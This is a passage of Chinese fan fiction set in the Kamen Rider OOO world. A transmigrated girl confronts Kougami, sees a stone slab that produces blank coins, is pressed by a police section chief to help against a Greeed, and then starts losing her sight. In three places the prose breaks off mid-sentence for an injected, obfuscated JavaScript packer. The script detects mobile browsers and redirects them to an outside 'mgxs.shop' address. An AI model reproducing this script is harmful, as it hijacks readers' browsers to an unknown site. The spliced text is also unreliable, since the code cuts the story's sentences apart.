“好强大的理解!”鸿上仍不承认,甚至还拍起手来,“为什么要这么说?故意隐藏Greeed的信息,对我而言有什么好处?” “好处什么的你自己知道啊,非要我说吗?!” 我从来没有像这样共情过后藤。如果可以,我真不想和鸿上光生这个不说人话的蛋糕人打交道。工作上有这种老板根本就是灾难! “我不知道。”鸿上光生沉声说道,“我想恭喜你终于找回了欲望,如此强大的力量,值得庆祝。但你好像只是来找我宣泄情绪,那就没有什么好说的了。” 他手一挥,又背过身去。 “送客吧,里中。” “是。”绘里香小姐低头应下,伸手要拉住我,“走吧秋山小姐,我送你回去。” 很完美态度,成功激怒了我。 我拒绝绘里香小姐的安排,一点面子也不想留了,对着鸿上光生一通输出。 “我说你别把我当Ankh那鸟人一样整好吗?!” “我当然知道有什么好处,没有人比我更了解你们,所有的人!” “你不就是只有这一个目的吗?那就是超越八百年前,在今世得到一个比当年OOO王更完美的,不会暴走的,也不会为了硬币而失控的——王!” “收集硬币,制造端倪,诱哄映司……为了王,你什么都做了。” “你一直追求一段故事,和我一样!我们才是最接近的人!我当然知道你想的都是什么!” 该说是顶级打工人的素养吗?就算场面失控到这一地步,绘里香小姐依然波澜不惊,仿佛老板的八卦和她一点关系也没有。 既然如此,我也不顾虑了。 有些事情还得本人赏脸出面才行。 “我说的没错吧?鸿上会长——鸿上光生。” 22. 没有腰带的骑士(2) “欲望”是OOO的主题。 马克·吐温会说:真实的事情比虚构的故事更稀奇;这是因为虚构的故事必须符合可能性,而真实的事情却不必顾及这一点。 或许是这样。或许我当穿越了以后,当他们的故事变成我的现实,“我”也从“观众”变成了所谓的的“登场人物”。如此我不该再以看待角色的眼光看待他们,不该再理所应当地认为自己会是通晓未来的先知。 但是。 抛开自以为是的想法,不意味着我要抛弃之前的积累。 在反复观看OOO的过程中,我一直尝试分析各个角色,把他们像数学题一样拆解开来,揣度他们究竟持有什么样的“欲望”,才能从茫茫人海中脱颖而出,在这个讨论“欲望”这一本源概念的故事里成为“主角”。为此我甚至找来了十多年前的访谈。一天又一天,一遍又一遍,直到纸张也被我翻到起毛边了,我依然在剖解这个故事,直到我理解他们,更甚于他们自己。 所以,我怎么会不知道鸿上光生的想法?不论是利用Greeed的内斗收集细胞硬币,还是激活映司的欲望劝说其放弃恐龙硬币……那些关于王的“欲望”,天知地知,他知我知。 和映司发生冲突之后,我连梦里都在思考。思考如何在风云莫测的局势中发挥我的优势,思考什么是只有我作为“穿越者”这一角色才能做到的事,并认定这就是我的使命,也是我之所以来到这里的原因。 就在昨晚,我把这些前置问题都思考好了。到今早映司突然说起“合作”,到刚才,一切终于打通。我的前路从未如此清晰,未来的每一步都像清单上的待办事项一样浮现在我眼前。不论是Ankh的复活,还是回家。 现实或许没有逻辑。 但现实往往有迹可循。 -- 听完我的控诉,鸿上光生倒没有太特别的反应。 “真是完美的推理。” 所以说,最讨厌这样的人。显得我无理取闹一样。 “是啊,毫无意义的……推理。” 我力竭了。真是前所未有的疲惫。 虽然,就像我不指望他有问必答一样,我也从来没指望自己能看到爽文作品里那种全员震惊的打脸桥段,但当事人如此淡定,我还是有种被平A骗出大招的憋屈。 真想拥有逆转裁判里的勾玉,让我看看鸿上光生此刻的从容究竟是真不在意我所点破的那些心思,还是作为成人装出来强撑起的面子。 “你不会承认,我也只是宣泄情绪。有些话如果想藏,是真的可以带进坟墓的。” 或许我不该说这样的话。或许正是我说出来了,事情才突然有了转机。我不知道。 “就当是冒昧吧,告辞。” 我转身,准备跟随绘里香小姐离开。 “站住。” 鸿上光生叫住了我。 “我没有说你可以走。” 这话几乎是从嗓子里喷出来的,仿佛野兽的咆哮。 我折回去,看到他转向绘里香小姐,点了点头。 “麻烦了,里中。” “好的会长。” 接着他转向我,两只眼睛直勾勾地瞪了过来,像一头蓄势待发的巨熊。 “想知道世界的秘密?” 虽然很想吐槽这说法真是浓浓的中二味……算了,混沌中立NPC就让让他吧! “我只想知道自己的来历。” “都一样。”他移开视线,用眼神暗示我跟在后面。 “呵。” 有够傲慢。 -- 我第一百次动了走人的念头,又第一百零一次劝自己要理智。跟着鸿上光生来到美术馆的深处。 不得不说,这房子还挺大的。 门厅那个复杂的布景已经让我觉得鸿上光生财力惊人,结果就只是美术馆的小一部分,更多的被深埋在了地下,像是末日游戏的地堡。 大概是见不得光的缘故,越往下走,越觉得寒气逼人,到后面我只能搓着胳膊,为自己少穿了衣服后悔。 就算是地堡,有必要做得跟冰窟似的吗? 这念头在我脑海中刚一出现,很快便得到解答。 “这是……” 在看到冰棺的那一刻,我大脑宕机了。 这里面装着的……不会是王的尸体吧? 鸿上光生把它放在这里干吗?当摆件吗?! 正胡乱想着,鸿上开口道: “八百年前的王的遗物。” 还好还好,只是遗物,看来也没有那么变态…… 个屁啊! 遗物有什么躺冰棺的必要!我看你根本是没收集到王的尸体,这才退而求其次地收集遗物的吧! 我真的有好多话想说,尤其是看到鸿上盯着冰棺的眼神,狂热而痴迷,吓得我出了一身疙瘩。 “有什么好看的……”我嘀咕着,终于也把目光转了过去。 冰棺的盖子是透明的,可以清晰看见里面的物品。 我眯起眼睛,在认出那里面装着的东西时有些震惊。 “石板……” “映司的那块石板的,是它的一部分。”鸿上屈指点着冰棺,“是的,我早就拥有,也早就知道。” 这倒在我的意料之内。如果不是早有投入,鸿上光生不可能在那么短的时间内研制出人造核心硬币。不符合科研的一般规律。 真正令我惊讶的是这块石板本身。它仿佛有生命一般,不断往外吐着东西。 我在里世界中见过,所以一眼就能认出。 “空白硬币……是从这里来的?!” “很正常吧?硬币总要有个源头。Greeed诞生之前,这一直是它的工作。” 鸿上干干地笑了两声,像抚摸着自己心爱的孩子那样,伸手抚上冰棺的边缘。 “不过已经停工八百年了,直到半年前才又开始工作,很是玄妙。” 是很玄妙,但我没心思发出类似的感叹。 “那散播空白硬币的——” “不是我。”预测到我要说什么,鸿上摇了摇头,“这些硬币的欲望非常旺盛,我们无法控制它们去找寻自己的主人。” -- 原来如此。 这样一切就都说的通了:产生硬币的是石板,而硬币之所以会散落在那些有可能变为Yummy的人类附近,正如我之前所揣测的一样,是它们感应到欲望快要暴走的人类,于是自行飞了出去。 为什么会有硬币,为什么硬币会出现在人类附近,为什么美纪子可以精确地感知到硬币所在……在知晓这块石板的存在之后,这些问题统统得到了解释—— 才怪啊! 莫名其妙石板会重新工作,莫名其妙映司带来了另外一块石板,莫名其妙那块石板上有被封印的力量…… 那么多的设定,那么多的巧合…… 这个世界是靠机械降神推动的吗?! “真是莫名其妙。” 问题看似得到了解决,但其实根本没有触及到事件核心。而且,我不是去问Greeed怎么来的吗?莫名其妙就被带了节奏关心石板去了,真是被这老狐狸摆了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510641|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 “真是莫名其妙。”我又骂了一遍,盯着自己刚更新的思维导图,从头到尾重新扫视了一遍。 太多细枝末节攀附在问题的骨架之上,像被层层迷雾拢住。 莫名其妙。 唯有这个词可以概括我当时的心情。 但最莫名其妙的还是…… “秋山小姐,请尽情‘Release’。” 送我出门时,鸿上光生平白无故地说了这么一句。 我想起见到他第一面时,那个涂满了果酱的蛋糕。 “我差点忘了——那个单词也是你的设计吧?到底什么意思。” “你会问,就一切还不到时候。” 鸿上邪恶地笑着,用他蹩脚的口语勾起了我的兴趣,却并不打算为其负责。 “没关系的秋山小姐。有朝一日,你一定能知晓。” 他憋住一口气,像摇晃后扭开的汽水那样,从嘴里喷出一句话。 “Happy Birthday!” 莫名其妙。 -- 我在思维导图上勾勾画画,在“鸿上光生”的名字旁边记下:谜语人滚出梦见町! 要是有平板就好了。手机手写太磨手指,输入的话又不那么自由…… 正当我这样想着的时候,身后传来了一道声音。 “小燕?” “比奈!” 我惊喜地回头,看见比奈微微睁大的双眼,好像也很意外能在这里偶遇到我。 “你怎么会在这里,我刚刚去库斯库契,知世子说你去鸿上美术馆了。” “我刚从那边回来。”我不愿再想起鸿上那张老脸,迅速结束话题,关掉手机走到比奈跟前,“身体还好吗?这两天忙,都没空问你呢。” “我早好了,一直也没来得及正式道谢。倒是你感觉如何?” “放心好了。得益于大家的照顾,现在的我比以前还要健康呢!” “那就好。” 比奈笑笑,似乎松了口气。 机会难得,我还想和比奈再聊会儿天。不远处传来突然男人的呼唤。 “比奈,你怎么到这边——”泉信吾说着卡了一下,小跑过来把话题转移给我,“小燕?原来你在这里?” “泉先生?”好难得见到这对兄妹一起行动。我听出泉信吾的言外之意,伸手指指自己:“你们在找我?” “是啊。”信吾哥坦然承认,“伊达先生跟我说,你们似乎起了争执,然后我大概了解了情况……怎么说呢,这种关头吵架,太不应该了。” “对不起,是我幼稚。” “也不是这个意思!”泉信吾连忙摆手,“你不要自责啊,小燕。都是关心则乱。” 能说出这种话出来,信吾哥不愧是全剧里最温柔的角色。 他的宽容反而让我不太适应。我不好意思地低下了头,正准备说些什么缓和情绪,听到比奈又问: “哥哥,你不是说有事情要通知小燕?” “啊,差点忘了。” 信吾哥一拍脑门,从包里掏出张纸来。 我好奇地凑上前去:“什么?” 信吾哥看了过来,躲闪着我的目光,似乎觉得这件事难以启齿。 “那个,警视厅这边最近太忙了,我们支不开人手。还有你幻境里的情况……” 他把纸张展开,摊在我的眼前。 那是一张盖有警视厅印章的协助调查令。 “虽然让未成年参与很不好意思,但如果你有空的话,还请跟我到警视厅一趟!” 23.没有腰带的骑士(3) 在假面骑士的世界观里,“警视厅”这一存在大约通常可分为以下几类: 一类是假面骑士和警视厅紧密结合,比如空我的和W的男二都是警视厅的成员,也能变身成假面骑士一起维护社会秩序,保护市民。假面骑士Drive更是直接在警视厅内展开,虚构了一整个特殊部门。 另一类是假面骑士和警视厅毫无关系。像是假面骑士Fourze,假面骑士Saber,假面骑士极狐等等。警视厅不存在的,导演的镜头里从来没有这些公职人员的身影,故事本身也更夸张,更虚构。 至于OOO,它属于二者皆非的第三类别。 -- 泉信吾设定是警视厅搜查一科的刑警。 经常看推理小说的朋友都知道,搜查一科在日本负责的都是大案要案,放国内也是地方公安局的精英。 这样一个人在鸿上美术馆事件后长期没有归队,警视厅居然对此毫无反应……他们的工作效率实在值得怀疑,以至于映司说警视厅有找时,我第一反应其实是怀疑,这地方警视厅还干事呢?真是料想不到的展开。 不过,我也很快想起信吾哥来。想起他的职业,还有他曾提起过的,警视厅和鸿上集团的合作。 路上信吾哥还详细跟我说明了警视厅这些年的变化。 恐龙Greeed一战之后,映司离开日本,伊达叔重回本职,全市要是单靠Birth支撑,估计能把后藤和绘里香小姐累坏。于是鸿上会长主动找到了警视厅的厅长,要求把搜查一课改组成两支队伍,一支和往常一样,负责普通人的案件;另一支就是信吾哥目前所在的特别行动组,负责那些牵涉到硬币的案子。 本来,他们的工作也就是一些善后和复盘。因为Greeed的覆灭,梦见町好多年不曾出现Yummy这一特殊物种,只是偶尔有零星几只不知从哪里来的,后藤一个人就能解决。但是半年前无主Yummy的出现,让他们的清闲日子就此成为过去。整个部门超负荷运作中,基本上每个月都有人要累倒。 “我倒是更适应这样的节奏。” 信吾哥边说边猛打方向盘。车身往□□斜,我不得已拉住扶手,这才撑住自己没撞上去。 “如果是以前的日子,总感觉愧对了工作,有点过意不去。” “啊哈,是吗……” 信吾哥脾气温和,想不到开起车来也是猛人。这车坐的我头晕脑胀,根本无心去听他又说了什么。 又是一个路口,一个急刹,一个方向盘打满,一个紧急启动。 我在车里颠着,感觉刚吃的饭都要抖出来了。抬起眼皮看看车前,两侧风景不断闪过,车胎下的路绵长得像是没有尽头。 救命吧!还有多远! -- 在我快要坚持不住,想着要不跟信吾哥说,停车让我缓一下时,又一个满舵,车子“咻”地停进车位,“滴滴”叫了两声。 我回过神来,捂着肚子干呕。仅剩的一点意识全在耳朵上面,听见信吾哥说:“就是这里。” 信吾哥迅速收拾东西下车,指着那栋楼告诉我说,那就是警视厅。 我靠着车窗缓了一会儿,跟着下车,感觉腿软绵绵的使不上劲,站了一会儿才好。 我依然抱着小腹,抬头仰望警视厅的大楼。 大概是晕车的缘故,我觉得那楼有些奇怪。那些线条像是被火扭曲了似的,弯弯折折如同波浪。 再一眨眼,分明是看错了。 信吾哥下车后又接了个电话,趁这功夫,我迅速调整好状态,等他再转回身时已经再看不出什么,只是脸色还有些糟糕。 “你怎么了?”信吾哥也注意到了这点,关切地问,“是不是中暑了?车上有药,我给你拿。” 他跨步过去准备打开车门,被出手我拦住:“没关系的。” 总不能说是你开车太彪。而日本药我又是真不敢用,下料太猛了,我这体质适应不了更出乱子。 我心想这样想了,嘴上却说:“就是车里有点闷,缓缓就好。早上起来的时候还没感觉,没想到下午还蛮热的。” “是啊,不知道为什么,明明昨天气温还没这么高。”信吾哥相信了我,又看了眼手机,应该是那边有人在催,“快进去吧,里面会好一些……” 说着便没了声音。 我跟在信吾哥的后面,他刷卡,我刷人。 大概还是特摄和推理小说看得太多,我对日本公务机关的安全性充满怀疑。总觉得下一秒死亡威胁恐怖分子化学炸弹……通通都要出现。所以我特意观察了下警视厅的安保。 门口有人站岗,但没有安检。 路过时我看了站岗员一眼。他端正地立着,戴着口罩,似乎是目不斜视的样子。这副专业的模样让我好奇他会不会有特搜战队刑事连者的水平。 如果这时候有Yummy现身,真希望这位站岗员能不能迅速扛起武器,给对方一记重击。否则遭殃的就是警视厅内所有成员,包括我。 这样想胃又疼了。 为了健康,还是多想些积极的事吧!拜托了这样的我! -- 信吾哥把我带到他们办公的地方,门牌上挂的是“搜查一科特别搜查系”。 虽然我不太了解日本的公安体系,但“搜查一科特别调查系”从名字上就像是搜查一科的下属组织,估计人手也不会太多。 看起来也没有很重视啊……果然比起日常的□□,超能力只是公共安全的一小部分。 “组里还在开会,不清楚是什么形式协助,总之请先在这里坐一会儿。” 信吾哥带我到他的办公桌边,拉出椅子让我坐下。 “在此之前,你就先等一等。很快我就回来。” 信吾哥说完便走了,看样子也有急事。 “真是忙啊……”我小声说道,转回去准备靠开心消消乐打发时间,忽然又心生出个念头,随手拿起信吾哥桌子上文件夹。 反正重要文件是不会忘外面放的。既然可以摆在桌上,那就不至于涉密。 我抱着这样的想法,打开文件夹,津津有味地翻阅起来。 -- 那是某起Yummy事件的报告。 翻开第一页,入眼便是Yummy的画像。旁边标注着祂的高度、特征、特殊能力以及曾经出现的地点,信吾哥还在旁边用铅笔写了“注意疏散”,看来是最让他们感到棘手的那款。 我盯着Yummy的名字看了三秒。 “retto-a-i-do-ra-gon……” 该死,片假名滚出日语。 不知道哪里来的规定,或说习惯,这些生造的新词全都是用片假名书写,我只能靠拼读了解这个Yummy的情况,且越读越觉得火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512281|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大。 “满屏片假名谁看得懂啊?而且''赤''这个汉字日语里又不是没有,至于吗……” 抱怨归抱怨,我还是耐着性子把这页看完,转手翻到下一面。 之后就是Yummy是在哪里发现的,报案人是谁,以及冗长的笔录材料。信吾哥在上面写了许多笔记,我大致扫了一遍,都是很常规的内容,没什么好多说的。 再往下,就是针对这只Yummy的作战会议记录,只有零散的几个字眼。我从中认出了“分组”、“监控”之类的词,想来他们已经有了一套流程,尽可能降低Yummy事件对市民的影响。 看来这个世界的警视厅也不全是草包。我满意地合上文件夹,眼一错的功夫,封底一个小小的记号吸引了我的注意。 “这是个圈,还是……” 我正准备研究,身后门突然被推开了。 我慌忙把文件夹往桌上扔。 是信吾哥。 他走得急,回来时似乎更急。看到我还在原地,他的眉眼似有放松。 “太好了,你在这里。”他说。 这反应有些奇怪。 “不是你让我在这等的吗?”我问,“出事了吗?” “算吧。”他的说法也很奇怪。出事就出事,没事就没事,“算吧”又是哪种? 难道是“出事了但整体可控”的意思? “我不能跟你多说。” 信吾哥似乎看穿了我的想法,走过来抄起桌上的文件,也就是我刚才随手丢掉的那份。 “科长在会议室里等你,刚开完会,说是想请你跟他见见。” 这倒在我的预料之内。 说是协助调查,但如果没有大领导想要见面,他们也没必要大费周章地用协助搜查令把我弄过来能。 “知道了。”我点点头,“需要我准备些什么吗?” “应该是不用的。”信吾哥貌似也不太清楚这些事的大致流程,“抱歉,如果我事先知道是科长的主意,我不会让你过来。” “为什么?” “因为未成年人不应该在这种事上牵扯过深。” 这话跟那个夜里映司说的如出一辙。 但是,好奇怪,我听了之后居然没什么感觉。只是想我们之间果然存在认知的鸿沟,但也并非不可弥合。 “如有需要,配合调查也是公民的职责。” 我转头,认真望向信吾哥的眼睛,与他对上视线。 “虽然我不是这里的公民,但是既然暂且在这里住着,就有义务配合你们的工作。” 我试着表达自己所熟识的道理。试着说服他,说服他们。同时也说服我内心那个对这全部都无法信任的自己。 “不。” 信吾哥态度坚定。 “虽然配合调查的确是公民的义务,但让未成年牵扯进来,本身就是我们的失职。” 我倒不这么认为。 “可我本来也不无辜。” “那也不是你的问题。” 信吾哥表态起来比映司还要强硬。他是柔中带刚的类型,明面上软乎乎的,实际没有什么能动摇他的信念。这点从他后来的话里就能发现。 “我知道你要说什么,小燕。但在我看来,你就像当初的比奈。让你这样的孩子来做大人们都不一定乐意去做的事,我有点……无法原谅自己。” 24.没有腰带的骑士(4) “信吾哥……” 这番正义者的发言使我沉默。 非要说的话,也不是不想反驳。但对着信吾哥,那些话却怎么也说不出口。只觉得好心酸,像从书本上读到伟大的事迹时,忍不住揣摩他们当时的想法,又知道根本不会有那唯一正确的答案。 -- 现在根本不是想这些的时候。 我尽量收回思绪,压抑着从心脏蔓延开的感情,走过长长的廊道,在另外一间写了“搜查一课课长室”的房门前停住脚步。 “课长就在里面。”信吾哥说,还是给了我一些交代,“他是个很好的人,也不会为难你。到时候问了你就答,记不清就说记不清,不要勉强自己。” “好的。”我点点头,碰到把手的时候还有些紧张,感觉得到整个胸腔都在颤动。 怕什么呢秋山燕,里面的至少是人。 我深深地吸了口气,用上面的话奉劝自己。觉得差不多了,回头对着信吾哥笑了笑,轻声为自己打气:“我去了。” 犹犹豫豫,但还是带着无用的毅然,重重扭下把手。 门开了。 我闷头扎了进去。 -- “关门。” 浑厚的声音。 不用多想,这必然是搜查一课的课长大人。 “好的。” 我的语气比想象中还要怯懦,轻飘飘的像是飞在天上。 我转身把门关实,听到门框和门锁严丝合缝盖上的“咔”声,这才松下心来,觉得自己又做对了件事,有底气可以面对传说里的课长大人了。 我回头。本来想见识这位课长究竟长什么样,首先却注意到的是这个房间的体积。 众所周知,日本用地有限,除了像鸿上那种财大气粗的财阀,他们的房间都是很窄小的。就连信吾哥的办公室也是桌椅相连,几乎没有个人的空间。 但是,这屋子却极大,至少视觉上快比得上鸿上美术馆的前厅。 数个柜子贴着墙壁摆放。它们有的放满了卷宗,有的却还空着,甚至整个柜子里一张纸都没放,完全是多余。 科长的位置就在这柜子与柜子之间。那里摆着一张黑色的办公桌,桌子两边都有带扶手的座位。 课长本人并不坐在上面。 我进门时,课长站在左手边的柜子旁边,正翻阅着一份文件,像是刚从柜子里拿出来的。 他并不着急看我,而是把注意全放在了这份文件上面。房间里回荡着纸张翻动的声音,并未持续太久。 “秋山燕吗?” 课长转过头来,语气和先前一样沉着。 他给我的第一印象不好不坏,就是日剧里常见的那类领导,五官和身材都没有什么特殊,而气质上像是一口巨钟。 “我是。” “好的。” 课长点了点头,表示他知道了。 “请坐吧。” “谢谢。” 得到了课长的允许,我总算可以坐下。在我调整坐姿,想尽可能垫着舒服的时候,他也把文件放了回去,走回到自己的办公桌前,拿起纸笔准备记录。 看样子是不打算寒暄了。 我这样想。果不其然听到了他一个接一个的问题。 “蝉型Yummy的第一发现人?” “应该不算。” “发现Yummy线索为什么不报案?” “如果您事先找泉警官了解过情况,就知道我并非这个世界的人,一时没想到报警。” “说得通……那后来为什么不主动找警视厅说明情况?” “在伊达明的医院住院……” “但你有去找鸿上光生。” 这句话令我毛骨悚然。 还没有想明白我的行踪是如何被警视厅追踪到的,课长继续说:“我们和鸿上光生情报共享。他在你手机里装的定位系统,也会传递到我们的电脑上,所以你大可不用讶异。” 原来如此,这样就解释的通了。原来是后门啊,还以为特务盯梢我呢,这下能放心了…… 才怪!留后门搞监视还有理了?我回去就把手机卡撇了! 我按捺住火气,以尽量友好的口吻地向课长提问:“恕我直言,都这样了那我什么事情应该都是透明的吧?多此一举找我来问这些是做什么呢?” 课长抬眼,大概是心境所致,我总感觉他吊儿郎当的,带着点看不起我的意思。 “虽然是情报共享,但也是有限的共享,主动权在信息多的一方,也就是鸿上基金会。在他之外,还有很多事情我们并不知情。” 我懂了,这是要做间谍的意思。但很可惜,第一我没有做间谍的兴趣,第二鸿上防我甚于防洪,既然警视厅这种明面上情报共享的机构都讨不得好,对我是什么都不会说。 我毫不迟疑地拒绝:“不好意思,如果是想从我这里了解情况……很多事情我也并不知情。” 他又看我一眼:“不是这样。我们并不认为你能知情。” ……原来是我会错意了。 如此我更摸不着头脑了。如果不是要我做间谍从鸿上那里打探情报,警视厅还能为了什么事情找我? “我也不兜圈子了。实际上,我们看中了你的一段特殊经历。” 哦哦,原来重点是在这里。 “什么经历?”我问。心里却已经有了答案。 “根据多方面情报查证,你曾经在环境里面见到了Yummy诞生的过程,而这是我们闻所未闻的。” 课长终于放下了笔,从记录中抬起头来,认真地注视着我。 “我们有理由相信,你和那些怪人之间存在特殊的……感应。我们对这项能力很感兴趣。” -- 原来如此。 他们还是想要我当间谍,只不过对象并非鸿上会长。 说实话,虽然之前我义正辞严地说了什么“配合调查是公民的义务”,但其实我不太愿意真按照他们说的,去窥探每只Yummy的内心。 没人愿意一直面对怪物。可能警视厅觉得我能做到他们所不能的,应该加以应用。但对我而言,每一次共振都很痛苦,如无必要真的不想再经历了。 我庆幸自己从未把进入里世界的真正原理透露出去。 这一刻,我似乎知道信吾哥为什么会说出那样的充满自责的话。我也好像理解了映司所说的“互有隐瞒”的必要。 不过,他们究竟知道的有多深啊? 我决定试探这位课长。 我假装自己无知,问课长:“万一那只是Yummy的技能?” “不会的。”科长很是笃定,“当时现场的就你们几人,而后来你说的那些更是独一份的。” “万一我只是说胡话呢?”我接着说,“你们不是已经更换了方向吗?要调查Greeed。” -- 事后想来,话题就是在这里聊爆的。 调查G ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514776|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' reeed应该是他们的机密情况,理论上只通知了鸿上光生、伊达叔、映司、后藤等几个核心人物,连泉信吾的权限都够不到。我虽然在观察名单中,但还没有完全取得信任,理论上不知情才是对的。 但课长完全不觉意外,就好像他知道我本该知道一样。 “那是专家们的决定。但从我个人的角度,从来没有同意过更换调查方向。我认为这种特殊事件不能以常理判断,一个能看见Yummy诞生的你或许比我们全系都有用。” 课长的眼神猛然变得锐利,但只有一瞬,短暂得像个错觉。 “看来你是不想配合。” 无所觉察的我仍然试图挽尊:“不,我只是……” “不用解释,我理解。毕竟把你请到这来,在这种环境里面,实在不像什么好人。”课长伸出手来,压住了我之后的辩解。 “但其实,我也希望你能想清楚些。” 他操纵着椅子转身,摁下了扶手侧边的一个按钮。 “滋啦”一声,墙面突然往两边敞开,露出背后的屏幕。 课长把屏幕打开,显示出一段监控的画面。 我顿时站了起来。 -- “映司……” 画面上正是映司和怪人搏斗的场景。我看见他滚在地上,还好没有解体,伸手朝Birth索要硬币。 在激烈火力掩护下,原本的TATOBA发生了变化,变成了重力联组。 映司爬了起来,从明显迟缓的动作中看出他已身受重伤。即便如此,他仍然站了起来,又一次向怪人发起冲锋。 “他们正在战斗。” 我已经听不懂课长的话。心焦、担忧、愤怒……无数念头顿时填满了我的脑海,反而什么也想不到了,只有一句话分外清晰: 他是故意的。 我蓦地转过脸,两只眼恶狠狠地瞪视着课长。 “我只是想告诉你外面的情况。” 他却像是连我的这份表现都有预料,仍是那副脸色,沉稳得仿若寺庙里需要十个人才能撞动的古钟。 “Greeed真的出现了,以记录中的0号Yummy——赤眼黑龙的形态。今天的天气也是它弄出来的,相信你也看到过。” 是的,我看到过。 我马上记起信吾哥桌上的文件。 这也是计谋的一部分吧?封底那个也不是圆圈,而是表示序列的数字“0”。 课长接着往下,说的是新发现的状况。 “它的能力本来是改变局部的温度,现在不知道为什么多了一件转移。根据资料,这是7号Yummy寄居蟹的能力。” 信吾哥说:不知道为什么今天有这么热。 他对Greeed也是一无所知。 “外面的世界就是这样。异变是一夜之间发生的,根本来不及反应。依靠OOO应该还能坚持一段日子,但也只是苟延残喘。” 他的话点到为止。 我讨厌这样的利用。他显然清楚,有时候未尽之言比直白给出的话还要有力。人是会脑补的,那些通过留白或掩饰滋生出来的幻想,在OOO的体系里,可谓是一股极其强大的力量。 “恐龙幻想之力”。 我突然想到这样一个新词,很快又抛诸脑后。因为我从课长身上看见了紧迫。从他的眼神、他的动作,甚至他的从容里,看见他说: 很遗憾秋山。我想给你时间,但我们已经没有时间。 25.Time Judged All(1) 后面的事需要缓缓再写。 站在往后的时间里回忆以前的日子,最先被感受到的,其实是当时的感情。 因为我怎么也没有松口,课长把我请了出去。那时候我连什么都来不及思考,总觉得自己应该有所行动,就像是看到比奈的照片之后,马上就得过去一样。 信吾哥守在门口,大概是觉得我脸色不大好看,他忙拉住我:“你们都说了什么?” 他这一拉把我从幽魂一般的状态里扯了回来。 “我……” 我回头,紧紧地闭住眼睛,又张开。感觉世界是虚幻的,沉在雾里。 “我……” 奇怪,是流眼泪了吗?为什么我看不清东西了。 我眯起眼睛,用手背擦了又擦。 还是不清晰。 信吾哥也觉察到了我的异样。视野里他看向我:“你的眼睛怎么了?” “我不知道……” 下意识地回答。 “我好像看不清了……好像瞎了。” -- 出了这样的意外,信吾哥把我送到了伊达叔的诊所,一路上不停说着“这都是他的疏忽”、“对不起”之类的话。 我靠在窗边,视力以足够被认识到的速度衰减。 一开始是看不清远处的细节,后来靠近了也看不清了。所有景象都被模糊成一个个光圈,再后来,光圈也褪去了颜色,像是受潮的胶卷电影。 像是剧情末期Greeed化的映司所看见的画面。甚至比那还要严重。 -- 到达医院,信吾哥几乎是推着我走完的手续。 之前我在这家医院里住过,护士们都还认识我,赶紧把我送到担架床上,推进小房里进行检查。 这时我几乎什么也看不见了,只是躺在床上,听着呆板的机器的声音以及繁杂的人声,内心也无法平静,像是被什么所追逐。 失去视觉,就好像断了条腿。这滋味我总算有了体会。 在黑暗中我不知时间流逝,不清楚等了多久。突然听到护士们的声音。 “结果如何?” “体征上倒是正常……” “这个波动……要汇报吗?” “等伊达先生来了再决定吧?” “但是伊达先生肯定在打Yummy啊!” 喂喂,能不能考虑下我,不要往病房里说这些话啊…… 我苦苦地笑着,真想让她们到外面说。但其实她们也没料到我能听见吧?谁让我天生耳朵就灵,加上现在失明,其他感官估计还有所代偿…… 这样想的时候,我听到调试设备的声音。下一秒皮肤骤然被刺了一下。 “好痛!”我忍不住出声。 “对不起啊!” 好稚嫩的声线。 可能是实习护士,那刚才就是在给我打针了。 “不好意思秋山小姐,护士长说你现在大脑皮层过分活跃……” 总感觉听力也开始下降了,得很认真才能听懂她说的话。 “总之,请您好好休息……” 搞什么,原来不是听力下降,是给我打的麻药在作祟吗? 什么药这么立竿见影?大型动物的用量?可恶的,日本人下手就是不知轻重。 “等一……” 我想喊住那个护士,但应该是没有成功。 黑色如浓墨一般灌入我的口鼻,我逐渐感受不到自己的心跳,沉没…… -- 这一觉我睡到了半夜。 再睁眼时,至少视力有所恢复。此时的世界是显微镜下被放大数倍的大理石块。尽管目之所及还是一片灰白,但总算能看清那些轮廓,不用担心下了床就会给自己撞出一身的包。 Greeed化的征兆? 熟悉的画面,让我立刻想到了那段剧情,想到映司在吸收恐龙硬币之后也出现了五感衰退的情况,表示他正在从“人”转化为那类名为“Greeed”的生物。 多么合理的解释。和眼下我的遭遇一模一样,按经验能结案了。 可是吧…… “我体内又没有细胞硬币。” 没有细胞硬币,也就缺少了成为Greeed的必要条件。 一定有别的原因。 我掀开被子,开始检查这具身体。 还好我身上没插着那些管子,行动起来还算方便。 我尝试运动四肢,没有问题。模仿医生测试神经反应,屈指往腿上、胳膊上敲了敲,也感觉得到轻微的疼痛。 我的体温是36.5°,心跳每小时一百一十下,都在人体正常范围以内。护士给我打麻药的针还没撤掉,上面有血液回流的痕迹。 